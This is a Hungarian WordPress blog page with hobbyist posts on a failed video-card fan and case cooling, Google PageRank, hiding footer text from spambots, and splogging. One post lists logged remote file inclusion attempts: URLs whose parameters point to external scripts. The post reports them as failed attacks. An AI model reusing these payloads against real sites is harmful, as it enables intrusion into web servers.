WP » Információk a gépházból

A videokártyákról

admin — Sun, 12 Apr 2009 14:59:06 +0000

…avagy, még mindig ver a hard.
Megint nem a lényeggel foglalkozom, hanem a muszáj kategóriával, a működési körülményekkel – mert a Galaxy GeForce 8400 GS videokártyán a ventillátor a külső hőfok növekedésével végleg rezonátorba ment át, és igen jó hatásfokkal alakította át a beletáplált elektromos energiát hanggá; cserébe viszont egyre kevésbé hűtött. Ennek kapcsán sikerült rekordot is dönteni, amikor nem figyeltem rá, GPU mag 236 C fok. Némi panel-szaga is volt már, de a képmegjelenítés ugyanúgy működött, mintha mi sem történt volna.
Ez így nem maradhat – és innentől jön a politika be a képbe. Garanciális termék lévén, felhívtam a kiskereskedelmi eladási helyét, a Mikland-ot. A telefont nem vették fel, a honlapon az utolsó hír ez:
„ÁTALAKÍTÁS MIATT ZÁRVA
Értesítjük tisztelt ügyfeleinket, hogy 2009.03.01-től átalakítás miatt zárva tartunk. Megértésüket köszönjük.”
Van rá garancia… csak épp nem lehet érvényesíteni, „technikai” okokból. A recesszió, és a forint rekord-gyengesége miatt anyagilag mínuszossá válhatnak vállalkozások – ezek szerint most is ez történt. Elintézte a kúrmány.
Kezdődhetett a videokártya-pótlék keresés, kártya- és házhűtési akció…
8400 GS videokártya kivesz, egy régi S3 VGA kártya PCI slotba berak, mert nekem az is van… meg egy olyan ASUS alaplapom, ami nem ismerte fel, hogy ott van egy videokártya. Lehet, hogy BIOS-ban matatni kellett volna előtte, vagy úgy sem ment volna, ezt már nem tudom. Rossz ventis kártya vissza, csak közben leszedtem a ventiről a Galaxy címkét, és megállapítottam, hogy a tengelynek van vagy 2mm holtjátéka, és hogy billeg az egész a tengelyen; oldalirányban is volt legalább ennyi holtjátéka. Ekkora holtjátékkal miért ne rezonáljon… Egyébként pedig forgórészre címkét felragasztani bunkóság, mert felesleges súly, és a legkisebb excentritás is a csapágy élettartamát csökkenti. Címke-levétel után már kevésbé rezonált, és nyertem 2 újabb működési napot (összesen kb. 90 napig működött).
Közben pedig, Murphy-törvény szerint, hogy mi mikor romlik el, közelgett a hétvége, és a húsvét. Kinéztem az Acomp honlapján egy Gainward 8400GS 512MB-t passzív hűtéssel 8880 forintért, ami elég logikus választás lett – volna… mert az Acomp időközben átment csomagküldőbe, és nem volt nekik raktáron semmilyen passzív hűtésű 8400 GS; és mondták, hogy nem is lesz. Volt viszont egy újszerű használt Palit 9400 GT 1 GB 12 eFt-ért. Akkor legyen az (még egzotikusabb kártya).
Valamilyen alkatrész zörgött rajta, ahogy mozgattam – beépítve nem zörög, rendesen működik, csak a hőfok nyitott háznál 70-73 C, és ez nem egészséges az élettartamára nézve, pl. kiszáradnak tőle az elkók. Ha kézzel a bordát megfogva nem kellemetlen, tehát legfeljebb 4-essel kezdődik a hőfok a legmelegebb napokon is, akkor jó, és idáig akarok eljutni.
Egy nap után odatámasztottam az oldallapot a házhoz, bő fél centi hézaggal – és a hőfok lement 63-65 C-ra. A kártya alatt kialakult egy „hőkatlan”, és nem volt, ami kifújja onnan; így viszont már megnövekedett a légáramlás. Nem árt tudni, hogy a légáramlás csökkenése miatt a levett oldallapú gép rosszul szellőzőnek számít.
A videokártya alatti slot ház-nyílászáró lemezét kivettem; aztán az oldallap felhelyezésével a GPU hőfok lement 59 C-re, és csak a CPU járt rosszabbul, mert ott viszont 28 C-ról 35-re változott.
Sebességben nem érzem a különbséget a szokásos tevékenységeim, a netezés és szövegírás közben a 8400 GS és a 9400 GT között. Hangban persze igen. Viszont a gép mindaddig hangosnak fog számítani, amíg a zaja kiemelkedik a környezetéből (az emberi „érzékenység-szabályozás” „AGC” miatt).
Vasárnap lévén, ülök, és várom a keddet (mert a hétfő, az húsvét, és 13).
A hogyan tovább-ot közben már kitaláltam:
1 db 8 cm-es házhűtő venti hátra a házba, a típusa: Arctic Cooling Arctic Fan 8 PWM, a Pixeltől 1116 Ft-ért, 6 év garival; és remélem, van nekik, nem csak a honlapon, hanem készleten is. (Az AC 8-as, és a 2025 között az a különbség, hogy az utóbbi megfordítható, 25 cm széles, és kicsivel hangosabb).
Megjegyzem, ha valaki PWM (Pulse Width Modulation, impulzusszélesség-moduláció) fordulatszabályzást választ, akkor ezzel belefut a „4 tű – 3 tű” problémába is. Az ASUS P5KPL-en ilyen csatlakozóhelyek vannak: 1 db 4 tűs CPU_FAN, 1 db 3 tűs CHA_FAN, és 1 db 3 tűs PWR_FAN.
Mivel csak a CPU venti 4 tűs, ezzel tudom láncba kötni az AC-t, mert ezt lehet láncolni 5 db-ig (pl. 1 CPU, 4 AC venti)
Másik probléma, hogy a venti fordulatszám-szabályozás elhanyagolt rész az alaplapokon (modderek öröme: árulhatnak hozzá kiegészítőket, és persze drágábban, mintha az alaplap tartozéka lenne).
PWM megoldásként van 30 Hz-es, 25 kHz-s, és PWM/DC átalakítós, utóbbi a PWM-mel arányos egyenfeszültséget ad, és mint ilyen, a legjobb, mert pl. a 30 Hz-es áramszaggatás ocsmány rezonanciákhoz vezethet – és van, amikor vezet is.
A második számú, árban hasonló jelölt a Coolink SWF-800(B) ami tesztgyőztes lett halkságban egy olyan mezőnyben, ahol az AC nem szerepelt (35 ventilátor bemutatója és tesztje).
Aztán vannak a 4x árúak: Scythe S-Flex, Noctua…
A videokártya alá 1 kártyahelyre megy a GlacialTech Northpole 1100 VGA hűtő 2 halk ventillátora (15 dB).
A hozzá tartozó hűtőborda esetleg felkerül a 8400 GS-re.
Szóba jöhetett volna még 2000-valahány forintért a Titan kereten tologathatós, fordulatszám-szabályzós, egyventillátoros megoldása is.
Az ötlet nem rossz, csak a venti hangos: kevesebb mint 33 dBA, 2400-4400 fordulaton.
Ennyi hűtés remélem már elegendő lesz, és utána következhet a zajcsökkentés…

Addig is, egy rövid értekezés a videokártyákról: ki hitte volna néhány évvel ezelőtt, hogy a videokártya válhat a számítógép legdrágább alkatrészévé… a jelenlegi csúcskategóriás nVidia és ATI Radeon kártyák 100 eFt fölött vannak, 2 maggal, és több mint 1 milliárd tranzisztorral. De ezek gamerkártyák, „rongyrázó” effektekkel (pl. a testek fizikai mozgásának modellezése); és ha nincs legújabb 3D játék, és 3D tervezés, akkor feleslegesek.
Ami nem lenne felesleges, az a legszebb analóg jelű PCI-E-s valamelyik Matrox, de az még mindig 20 eFt fölött van – és mivel az LCD-nél nem sokat számít, hogy milyen az analóg jel (nem úgy, mint a katódsugarasoknál), így már nem nagyon látszik a minőségi különbség.
Átmeneti állapot van most a videokártyák terén, mert már ugyanúgy kell hűteni, mint egy processzort (merthogy van rajta processzor, saját RAM-mal, stb.), és a hűtés miatt már 2 kártyahelyet is elfoglal – ha ugyan nem többet… és mindezt hivatalos barkács-megoldásként.
Tehát vagy eleve ki kellene hagyni 1-2 PCI helyet az alaplapon, vagy integrálni kellene a gép-processzort, és a video-processzort (CPU 2-4 mag, GPU 2 mag), aztán mehet rá dupla Scythe Samurai, vagy Orochi hűtőnek..

Előzmény:
Ver a hard

Ver a hard

admin — Sat, 28 Feb 2009 18:06:30 +0000

Ocsmány módú ventilátor-rezonálással, hőfok-szenzor rossz kalibrálással, és a félreértelmezésével vert eddig.
A tanulság, hogy még a visszaütés előtt – lehet, hogy a gép sakkban jobb… tehát még a gép összetörése előtt rá kell jönni a hibákra.
A hang forrása alapján nem tudtam megállapítani, hogy bekapcsolás után melyik ventillátor kezd rezonálni, de az ocsmányul erős hang alapján a processzoréra gondoltam. Közben megnéztem a videokártya (GeFroce Galaxy 8400 GS) képét a neten, hogy van-e rajta valami zajcsináló. Van. Aztán amikor hosszan, percekig rezonált valami, következett az, hogy gépház oldala levesz, proc. fanba óvatosan belenyúl, hogy kicsit lelassuljon. A hang nem változott. Innentől már csak a videokártya köpedelem kis fanja maradt. Az volt, és rázta is az egész videokártyát. Micsoda minőség… Belenyúltam kicsit a lelkivilágába, és azóta csendben van; és még forog is
A következő probléma a SpeedFan program által jelzett egyik érték volt.
CPU: 33C
Core 0: 28C
Core 1: 28C
Core: 53C
Gondolom, nem nehéz kitalálni, hogy az utolsó core érték az, ami nem tetszik. Amit viszont nehéz kitalálni, az az, hogy ez melyik core? A legvalószínűbbre, a processzor magra gondoltam, és arra, hogy ott valami nincs jól hűtve. Arra viszont nem gondoltam, hogy a hardvertervezők eléggé elborult agyúak – tehát egyáltalán nem biztos, hogy a legkézenfekvőbb értelmezés a helyes megfejtés; sőt. A SpeedFan program újabb változatából már nagyjából kiderül, hogy az a core a GPU core. A programban a név nélküli core is megmaradt, de van már ott egy GPU is, és a mutatott két érték nagyjából szinkronban van.
Innentől már csak az lett a kérdés, hogy valóban túlmelegszik-e az a szar videokártya? Nem igazán, mert a 24 fokos szobában „43 fokról” indul, miközben a hűtőbordát kézzel érintve az éppen hogy csak langyos. A „mért értékből” nyugodtan le lehet vonni kb. 20-at, az a reális; egyébként pedig internetes források szerint kb. 80 valódi C fokig bírják a videokártyák.
A hard már nem ver, csak a videokártya gyártási minősége „nagyon kínai”.
A szoft az ver, imitt-amott; az IE mostanában időnként „leakad” a hálózatról, nem tölti be a weboldalakat, de közben úgy tesz, mintha töltene, és mintha az oldalak a szerver miatt lassan lennének elérhetők. Ilyenkor be kell zárni az összes megnyitott IE-oldalt, és újraindítani az IE-t. De amíg én erre rájöttem…
A „nagyon ráérő buherálók öröme” típusú hardver és szoftver így működik.
Lehet, hogy vannak, akik boldogok lennének, ha csak ennyire verné őket a hard és a szoft; na de, ne a legrosszabb eset legyen az etalon.

A Google, és a PageRank

admin — Fri, 05 Dec 2008 22:32:29 +0000

Avagy a Gugli 0-tól 5-ig. Ma a WP oldal Google pagerankja az addigi 4-ről 0-ra ugrott. A negatív kvantumugrás? Vagy az ellenség keze betette a lábát?
Aztán ahogy rámentem a wordpress.org-on a cforms plugin oldalára, és onnan az én fordítási oldalamra, felugrott 5-re.
Ezért az a véleményem, hogy a PageRankot nem kell komolyan venni. Ha valami egyedi dologról van szó, az úgyis elől lesz a találatok között; egyébként pedig kisnyúl, és tessék elegendőt lapozni hozzá.
A Google akkor esett ki nálam a pixisből végleg, amikor kitalálták a Chrome első felhasználói licencét – ami röviden összefoglalva annyi, „minden a miénk, wazze, ami ezen a böngészőn keresztülmegy, és előtte nem volt lekopirájtolva”. De mivel voltak, akik kattintás előtt el is olvasták a szöveget, és utána feltűnően sokan küldték el őket a kurva anyjukba, ezért kénytelen-kelletlen változtattak a feltételeken. Miattam már ne tegyék, nekem nem kell, se krómozva, se fényezve, se sehogy.

Goog le!
Monnyon le!

Távoli fájl beszúrási kísérletek, és gazdáik

admin — Sun, 02 Nov 2008 01:51:58 +0000

Sikertelen kísérletekről lévén szó, nem érdemel ez sok figyelmet; csak jelzem, hogy tudok róla (remote file inclusion, RFI); avagy, ki mivel tölti az idejét?
…/index.php?path=http://iau.jjes.tyc.edu.tw/ann/inc/sql/id3.txt?
…/bene-gabor-megmagyarazza.html#usermessagea
User Agent: Yvgfrnt cgkiyztb gjxapqyod
…/index.php?var=http://200.113.126.76/ids.txt?%0D??
…/index.php?var=http://www.pnladistancia.com.ar/vnc/idfeel.txt??
…/errors.php?error=http://www.lesovik.de/files/lol/love?
…/index.php?var=http://sonoma-
ave.org/xoops//modules/myalbum/v6id.txt???
…/index.php?var=http://www.guidingbrightminds.com/
phpbb/templates/subSilver/inc_ssl.txt??
…/index.php?
mosConfig_absolute_path=http://www.mykr.net/bbs/id.txt?
…/index.php?var=http://www.mfa.gov.bt/fell-id.txt??
és a többiek…

Linkek és szövegek elrejtése a robotok elől

admin — Mon, 16 Jul 2007 22:16:25 +0000

Mivel a kéretlen küldemények forrása lehet az, hogy a spamrobotok az általánosan használt szövegek alapján beazonosítják a „céltárgyat”, érdemes elrejteni ezeket a szövegeket; de hogyan lehet elérni, hogy a robotok elől el legyen rejtve, de viszont az emberi szem számára látható legyen?
Engem nem zavar, ha ott van a „powered by…” ha viszont ennek alapján jön a spam, az már zavar.

A szöveg helye:
Az aktuálisan használt felszín (theme): footer.php-jában

Lássuk a „lehetetlennel” való próbálkozást: az első számú akadály, hogy a lokalizált, vagyis az angol helyett más nyelvet használó programokban ez a szöveg a nyelvi fájlban van, tehát azt is át kellene írni, nem csak az alap php fájlt. Erre egy megoldás, hogy a footer.php-nél ne a lokalizált változatot használjuk, hanem az eredetit, és kézzel olyan egynyelvű szöveget írunk be, amilyet akarunk; ezzel viszont az átváltható többnyelvűség lehetősége meg is szűnik…
Van itt két módszer – viszont akármilyen megoldást választ is valaki, mindenképpen „hackelnie” kell a szöveget; ez idő szerint nem lehet megúszni a kézimunkát. A standard használatú magyar szöveg egyébként ez: (XYZ) blogját a kiváló WordPress motor hajtja

1. módszer:
Mivel a robotok feltételezhetően a kapott HTML forráskódot elemzik, és nem magát a HTML kód nélküli szöveget, itt szét lehet választani a két esetet HTML megjegyzések általi széttagolással, és a megjegyzésekbe egyéb szövegek írásával, amelyek a mutatott szövegben nem látszanak.
Ez lehet pl. ilyen:

is proudly powered by WordPress

2. módszer:
Lehet html-entitásokat és normál karaktereket vegyesen megadni – és kombinálni a két módszert.

wordpres%73%2Eo%72g’>wordpress.org

Annyit kétségtelenül sikerült elérni, hogy a forráskód emberi szemnek már egészen olvashatatlan lett…

Eddig az elmélet: a gyakorlatban a footer.php fájlt csak UTF-8 formátumban, (BOM-mal (Byte Order Mark) vagy anélkül) érdemes elmenteni; máskülönben nem látni az ékezetes karaktereket, és összekuszálódik az egész szöveg; és ez még a HTML megjegyzés karaktereire is vonatkozik, úgyhogy ezeket ne innen másold.

Miért a Google szolgáltatásait választják a sploggerek?

admin — Mon, 16 Jul 2007 16:47:37 +0000

Matt után én is továbbadom a Guardian cikkét, röviden, és a saját tálalásomban, hogy miről van szó:
Az eredeti cikk (angolul): Why Google is the service of choice for sploggers
A sploggerek azok a spam-bloggerek, akik csak azért telepítenek nagy számban blogokat szerte az interneten, hogy a reklámmal (főleg a Google Adsense) teletömött blogjaikból pénzhez jussanak az odatévedtek által a reklámokra történő rákattintások révén.
Az ilyen blogoknak vagy nincs tényleges tartalma, vagy pedig gépi úton mindenhonnan összelopkodott tartalma van; és persze előkelő helyen vannak a Google keresésekben is. A felhasználó pedig valódi tartalmat keresne, de nem azt talál – hanem a pénzgyártás egy újabb módját. Azon sem lennék meglepve, ha a magyarok (vagy legalábbis a Magyarországon élők) is kivennék ebből a részüket (Akarsz pénzt keresni az interneten? Otthonról végezhető, internetes munka.)
Tehát kellemetlenségnek eddig már van email spam, blogkomment-spam, és blog-spam. Utóbbiról a számok: a Technorati, amely 86 millió blogot figyel, 3,000 és 7,000 közötti splogot számlál naponta, 11,000-es csúccsal 2006 decemberében. Az egyszemélyes splog-rekord pedig 265,000 darab volt, egy spogger-vadász szerint. Ha csak 1 dollárt hoz 1 webhely évente, mennyi is az? Ugye, ugye… egyszerű matematika, és már megvan az ok, hogy ki, mit, miért csinál. És még mindig működik ez a piszkos biznisz, mert…
A pénz útja a splogok esetében: a hirdetők fizetnek a Google-nak, a Google fizet az AdSense-t felrakóknak – az utóbbiak közül pedig néhányan vagy maguk gyártanak splogokat, vagy pedig fizetnek profi sploggereknek, hogy helyettük megtegyék.
Az is meg van említve a cikkben, hogy a WordPress.com, és a M$ Seach (!) is küzdenek a spamblogok ellen; viszont a Google szerint lényegében minden jól van úgy, ahogy van.
Én pedig megemlítem, lehet hogy lesz ezen a webhelyen reklám, hogy ne csak kiadás legyen, hanem bevétel is – de az nem a főoldalon lesz, és nem is Google lesz. Elszállt a Google csapat a pénzszerzés irányába – és volt is egy olyan sejtésem, hogy így lesz, és nem fognak ellenállni a kísértésnek – és hogy innentől lehet számítani a Google hanyatlását, bár biztos, hogy tovább fognak növekedni még egy darabig; de már kimerítik az etikátlanság fogalmát; az pedig, hogy hagyják teleszemetelni a találati eredményeiket sploggal, mindenki számára hátrány, aki nincs benne a piszkos üzletben; ez pedig már túl van a megbocsáthatón, a nézetem szerint; és valószínűnek tartom, hogy nem is vagyok egyedül ezzel.